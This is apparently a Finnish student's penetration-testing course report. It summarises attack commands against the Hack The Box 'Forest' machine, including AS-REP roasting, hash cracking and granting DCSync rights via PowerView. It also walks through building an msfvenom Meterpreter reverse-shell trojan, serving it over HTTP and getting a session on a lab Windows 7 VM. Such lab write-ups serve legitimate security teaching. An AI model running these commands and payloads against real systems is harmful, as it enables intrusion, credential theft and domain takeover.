pentest

View on GitHub

Home | Start | H1 | H2 | Lunch | H3 | 🐍🥣🦈 | H4 | 4real | H5 | MI6 | H6 | se7en | H7 | End | Dev doc | + |

Final Countdown

Tehtävänanto: https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/#h7-final-countdown

Sisällysluettelo

Vinkkejä opettajalta tehtäviin

z) Tiivistä

Nikon lähteet - silmäile ja tiivistä Nikon mainitsemat kolme lähdettä. Ne ovat sähköpostiviestissä “Wind0wned & oma kirjakauppa”. Osa lähteistä on hyvin laajoja, tällöin voit silmäillä muutamia keskeisiä osia niistä.

Tiivistyksessä on kyse vierailuluennolla käytetyistä komennoista ja niiden taustoista. Maalina on Hack the Boxin “Forest” kone.

MSRPC (Microsoft Remote Procedure Call)

0xffsec Handbook: https://0xffsec.com/handbook/services/msrpc/

Null Session

0xffsec Handbook: https://0xffsec.com/handbook/services/smb/#null-session

The rpcclient can be used to interact with individual RPC endpoints via named pipes. By default, Windows systems and Windows 2003 domain controllers allow anonymous (Null Sessions) access to SMB, so these interfaces can be queried in this way.

Komennot

 rpcclient -U '' -N 10.10.10.161
# Get users
enumdomusers
# AS-REP Roast
impacket-GetNPUsers -usersfile users.lst -dc-ip 10.10.10.161 htb.local/
# Crack The Hash
# Note that a txt file is required as a wordlist
# hashcat -m 18200 alfresco.hash /usr/share/wordlists/rockyou.txt --force
# Remote In The Machine
# Install `evil-winrm`
sudo gem install evil-winrm
# remote into the machine
evil-winrm -i 10.10.10.161 -u svc-alfresco

SharpHound: BloodHound Collectors

https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors

Komennot

# Installation
sudo apt install bloodhound
# Start neo4j
sudo neo4j console
# [...snip...]
2021-12-01 16:32:34.562+0000 INFO  Remote interface available at 
http://localhost:7474/
# [...snip...]
# Go to http://localhost:7474/ and authenticate with `neo4j:neo4j` and
# give it a new password.
# Run bloodhound
bloodhound

Exploiting AD: Add-DomainObjectAcl syntax

Correct Add-DomainObject syntax (PowerView sivun alaotsikko): https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters/powerview#set-values

Komennot

# Import just powerview
. .\PowerView.ps1
# Add new user to domain
net users heiskane password /add /domain
# Add user to domain group
net group "Exchange Windows Permissions" /add heiskane
# Give DCSync rights to `heiskane`
$pass = ConvertTo-SecureString 'password' -AsPlainText -Force
$cred = New-Object 
System.Management.Automation.PSCredential('HTB.LOCAL\heiskane', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity 
"DC=htb,DC=local" -PrincipalIdentity heiskane -Rights DCSync

a) Palauta kaikki

Palauta kaikki. Laita tähän a-kohtaan linkki jokaiseen kotitehtäväraporttiisi.

b) Googlen kärkeen

Vapaaehtoinen, mutta helppo ja suositeltava: lisää linkki tehtäviisi tämän sivun https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/#h7-final-countdown perään kommentiksi.

c) Viittaukset kuntoon

Katso, että olet jokaisessa tehtävässä (h1, h2…) viitannut kurssiin ja kaikkiin muihinkin lähteisiin. Lähdeviitettä edellyttäviä lähteitä ovat kaikki materiaali, jota olet käyttänyt lähteenä. Esimerkiksi kurssi, tehtävänanto, toisten opiskelijoiden vanhat raportit, kirjat, videot, ohjelmien man-sivut ja artikkelit. Mikäli teet kotitehtäviisi lisää testejä tai kokeiluja, tee ne selkeästi jatkoksi uuden otsikon alle ja merkitse, milloin lisäykset on tehty. Historia ei voi enää muuttua.

Puuttuvat viitteet

Kerran en merkinnyt tehtävässä käytettyä lähdettä (raportista voi lukea miksi…) ja muutamasta tehtävänpalautuksesta puuttui viittaus tehtävänantoon. Nämä on nyt korjattu.

Tehtäväpalautusten jälkeen muokautut tehtävät

Pari kertaa olen jatkanut kotitehtävien tekemistä palautusajan jälkeen ja tällöin merkinnyt “EDIT:” jatkettuun kohtaan. Lisäksi luentojen muistiinpanoja olen muokannut mieleni mukaan sillä ne eivät ole tehtäväpalautuksia.

Harjoitusten muutoshistoriat

Koko sivuston muutoshistoria löytyy kuitenkin GitHubista, olen pyrkinyt myös laittamaan jollakin tapaa muutosta kuvaavia commit messageja muutosten mukaan. Harjoitusten muutoshistoriat:

d) Joukkoäly

- silmäile muiden kotitehtäväraportit, kerää lista parhaita komentoja ja havaintoja. Muista merkitä lähteet. Näin saat oman tiivistelmän parhaista tunkeutumistekniikoista. (Tästä voi olla hyötyä myös ensi viikolla). Jos sinulla on suosikkilähteitä kurssin ulkopuoleta, voit listata nekin tähän. Teh ultimate haking cheatsheet!

Kurssilaisten raportit

e) Rottia

_Tee troijan hevonen, joka asentaa vihamielisen etäkäyttöohjelman (RAT, remote access trojan). Haittaohjelmien toimivia versioita ei saa laittaa näkyviin siten, että joku voisi ajaa niitä vahingossa. Tässä tehtävässä harjoitellaan kohdennettua hyökkäystä, automaattisesti leviäviä itse itseään kopoioivia ohjelmia ei tehdä (ei viruksia, ei matoja). Tunnilla tehtiin elf-binääri msfvenomilla yhdistämättä sitä mihinkään tavalliseen ohjelmaan. Tee siis jollain omilla mausteilla (valitse näistä joku):

Suunnitelma

Asennetaan Windows 7 (IE 8)

Valitaan listalta vanhin vaihtoehto toiveena että vaatii vähiten tilaa: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/.

Puretaan ZIP-tiedosto ja importataan masiina VirtualBoxiin. Jätetään “Appliance settings” default-asetuksilla. Varoitus siitä että asennus vie paljon tilaa ei ole turha, aloitettaessa asennusta vapaata tilaa SSD:llä on yli 8GB, mutta se ei riitä vaan asennus heittää erroria E_Invalidarg (0x80070057): https://www.partitionwizard.com/resizepartition/result-code-e-invalidarg-0x80070057.html. Asennus vaati lopulta reilusti yli 10GB.

Vaihdetaan verkkokortti Windows-koneeseen samaan verkkoon muiden VB-koneiden kanssa: Settings –> Network –> Adapter –> Host-only Adapter (#3, koska siellä on DHCP palvelin ja kaikki muut koneet, kts. aiemmat harjoitukset).

Hyökkäyssuunnitelma

Pitäisi siis:

  1. luoda troijalainen
  2. ja saada se kohdekoneeseen
  3. ja käynnistää se.

Testataan pala kerrallaan, yritetään ensin luoda toimiva troijalainen. Käynnistetään hyökkääjä-Kali ja luodaan troijalainen Msfvenomilla:

1. Troijalaisen luominen

# luodaan kansio troijalaiselle
mkdir myrkky
cd myrkky
# katsotaan hyökkääjän IP joka asetetaan troijalaiselle
hostname -I
# katsotaan mikä on Windows payload mikä troijalaiseen pitää asettaa
# tarvitaan siis Windows7 32bit (Windows x86) meterpreter reverse tcp 
# avataan toinen terminaali-ikkuna kalissa 
# käynnistetään msfconsole
sudo msfconsole
# käynnistetään multi handler
use exploit/multi/handler
# katsotaan mitä payloadeja tarjolla
show payloads 
# Mennään kohtaan windows meterpreter
# löytyy payload 350 payload/windows/meterpreter/reverse_tcp (Reflective injection) Reverse TCP stager
# ja 351  payload/windows/meterpreter/reverse_tcp_allports 
# ja 363  payload/windows/meterpreter_reverse_tcp Meterpreter Shell, Reverse TCP Inline
# OS:n bittejä payload windows meterpretereissä ei ole erikseenls - määritelty
# Aiemmin käytetty linux payload 174 oli myös Reverse TCP stager kuten 350
# payload/ jätetään troijalaisen rakentamisessa polusta pois aiemman esimerkin perusteella
###
# takaisin myrkky-kansiossa
# -p=payload, LHOST=hyökkääjä, -f=formaatti, -o=output file 
└─$ /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.5 -f exe -o hyotyohjelma
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: hyotyohjelma
# annetaan suoritusoikeudet linuxissa
# varmaankin turha vaihe koska emme aja tätä linuxissa vaan windowsissa
chmod u+x hyotyohjelma 

Tässä vaiheessa hyökkääjä-palvelin ei vielä käytä exploittia ja odota kutsuja. Käynnistetään exploit Msfconsolessa.

# asetetaan yllä etsitty payload
msf6 exploit(multi/handler) > set payload 350
payload => windows/meterpreter/reverse_tcp
# asetetaan yllä etsitty hyökkääjän ip
msf6 exploit(multi/handler) > set LHOST 192.168.233.5
LHOST => 192.168.233.5
# käynnistetään exploit
msf6 exploit(multi/handler) > run
# huom default-portti 4444
[*] Started reverse TCP handler on 192.168.233.5:4444 

2. troijalaisen tuominen Windowsiin

Käynnistetään maali. Pohditaan mitä tapoja olisi tuoda luotu vihamielinen troijalainen maali-koneelle. En halua tuoda troijalaista omalle host-koneelleni vaan pitää sen virtuaaliverkossa, eikä VirtualBoxissa ole suoraa drag&droppia guest-koneiden välillä: https://stuff.mit.edu/afs/sipb/project/vmdialup/archive/i386_linux24.old/lib/vmware-console/help/gsx/movefiles.htm.

Päädyn lopulta ftp-palvelimeen missä voin hostata vihamielisen tiedoston jonka windows voi ladata. Sammutetaan hyökkääjä exploit siksi aikaa että ladataan ftp-palvelin, jota ei ole Kalissa valmiina: https://allabouttesting.org/install-ftp-server-on-kali-linux/ ja https://linuxtiwary.com/2019/02/16/how-to-configure-ftp-server-on-kali-linux/ ja https://tecadmin.net/download-upload-files-using-ftp-command-line/ ja https://serverfault.com/questions/598392/ftp-550-permission-denied.

sudo apt-get install vsftpd 
sudo nano /etc/vsftpd.conf
# anon enable (ei ole riittävät asetukset)
anonymous_enable=YES
# start server
service vsftpd start
# check status
service vsftpd status # Active: active (running) 
# open browser
firefox "ftp//localhost" 
# uusi terminal loggaa sisään ja vie tiedostot 
ftp localhost
# user
anonymous
# pw
anonymous
# tiedosto, heittää 550 permission denied
put ~/myrkky/hyotyohjelma 
exit
sudo nano /etc/vsftpd.conf
# lisää anon conf
write_enable=YES
anon_mkdir_write_enable=YES
service vsftpd restart
# joudutaan silti viemään tiedosto lopulta kalina koska tiedosto-oikeudet
ftp> put ~/myrkky/hyotyohjelma 
local: /home/kali/myrkky/hyotyohjelma remote: /home/kali/myrkky/hyotyohjelma
200 EPRT command successful. Consider using EPSV.
150 Ok to send data.
226 Transfer complete.
# ... katsotaan muita vaihtoehtoja
# windows-koneella on ongelmia saada yhteyttä kaliin 

Tovin leikkimisen jälkeen saan molemmista koneista palomuuriasetuksia muokkaamalla yhteyden toisiinsa (ping eestaas), mutta windowsissa ftp get heittää 550 permission deniediä jälleen, vaikka hyotyohjelman chmod muuttaa 777. Jostain syystä vielä lataus ei onnistu Windowsille ftp getillä.

https://askubuntu.com/questions/508463/how-to-copy-data-between-virtual-machines

Sanity check #1, tiedostonsiirtotavat

Palataan perusteisiin ja tiedostojen siirtelyyn virtuaalikoneiden välillä: https://blog.ropnop.com/transferring-files-from-kali-to-windows/. Näitä varmasti tarvitaan tulevassa kurssin päättävässä kokeessakin.

HTTP Server

cd myrkky
sudo cp hyotyohjelma /var/www/html/
ls /var/www/html/
# otetaan tässä vaiheessa palomuuri alas testejä varten
sudo ufw disable 

Veikkaan että dokumentaatiossa unohdettiin kuitenkin joku vaihe, sillä tällä asetuksella pelkästään apachen default-sivu on nähtävillä osoitteessa. Ei jäädä räveltämään apachen asetuksia, kokeillaan Pythonia joka lupailee hostata kansiosisällön SimpleHTTPServerillä.

Python SimpleHTTPServer

Tässä vaiheessa molempien koneiden palomuurit ovat alhaalla ja Windows-koneessa selaimen Protected mode: Off.

# myrkky-kansiossa hyökkääjässä
python -m SimpleHTTPServer 

Ja viimein kansiolistaus näkyy myös Windows-koneelle. Ladataan tiedosto Windowsille.

Sanity check #2, troijalaisen toimivuus

Huomataan tässä vaiheessa että hyotyohjelma-troijalainen vaikuttaa olevan tyhjä tiedosto. Tarkastetaan troijalaisen luomisen vaiheet menikö jotain pieleen.

cat hyotyohjelma 
# ei listaa mitään
# luodaan uusi troijalainen 
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.5 -f exe -o hyotyohjelma2
# verrataan ohjelmia 
-rwxrwxrwx  1 kali kali     0 Dec 11 16:44 hyotyohjelma
-rw-r--r--  1 kali kali 73802 Dec 13 01:58 hyotyohjelma2
# käynnistetään palvelin uudestaan tiedostonlatausta varten
python -m SimpleHTTPServer 80 

3. troijalaishyökkäys

Hyökkäyksen viimeisessä vaiheessa uhrin pitäisi siis vielä käynnistää troijalainen. Käynnistetään sitä varten jälleen hyökkääjän exploit Kalissa odottelemaan uhria:

sudo msfconsole
use exploit/multi/handler
show options
# LHOST ei ole pysynyt sitten viime kerran
set payload 350 
# ilmeisesti payload on pysynyt koska ei vaihda sitä
set LHOST 192.168.233.5
run 
[*] Started reverse TCP handler on 192.168.233.5:4444 

Sitten jännityksen hetki, suoritetaan vihamielinen troijalainen Windows-uhrissa. Paitsi että koska ei olla tallennettu sitä .exe-tiedostona, niin eipä suoritetakaan.

Säätö

# uusi troijalainen
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.5 -f exe -o hyotyohjelma.exe
# servaus
python -m SimpleHTTPServer

Ladataan ohjelma Windowsille, ja uudestaan jännittämään. Kalissa:

[-] Command shell session 3 is not valid and will be closed
[*] 192.168.233.9 - Command shell session 3 closed.

run.PNG

Eli sessio ei käynnisty koska varmaankaan Windows seiskan command shell ei ole validi. Kokeillaan ensin muuttaa payloadia.

# sama reverse tcp mutta all ports 
set payload 351 
run

Ja suoritetaan troijalainen uudestaan Windowsissa. Nyt hyökkäys onnistuu:

msf6 exploit(multi/handler) > set payload 351
payload => windows/meterpreter/reverse_tcp_allports
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.233.5:4444 
[*] Sending stage (175174 bytes) to 192.168.233.9
[*] Meterpreter session 11 opened (192.168.233.5:4444 -> 192.168.233.9:49179) at 2021-12-13 02:39:01 -0500

meterpreter > 

Nyt minulla on pääsy hyökkääjä Kalilta Windowsille Meterpreterillä. Mahdollisia komentoja mitä voisin nyt suorittaa uhrin koneessa löytyy esim. tästä cheatsheetistä: https://www.blueliv.com/downloads/Meterpreter_cheat_sheet_v0.1.pdf

sisässä.PNG

Testimielessä tuhoan yhden toimimattomista troijalaisista, toimii.

del hyotyohjelma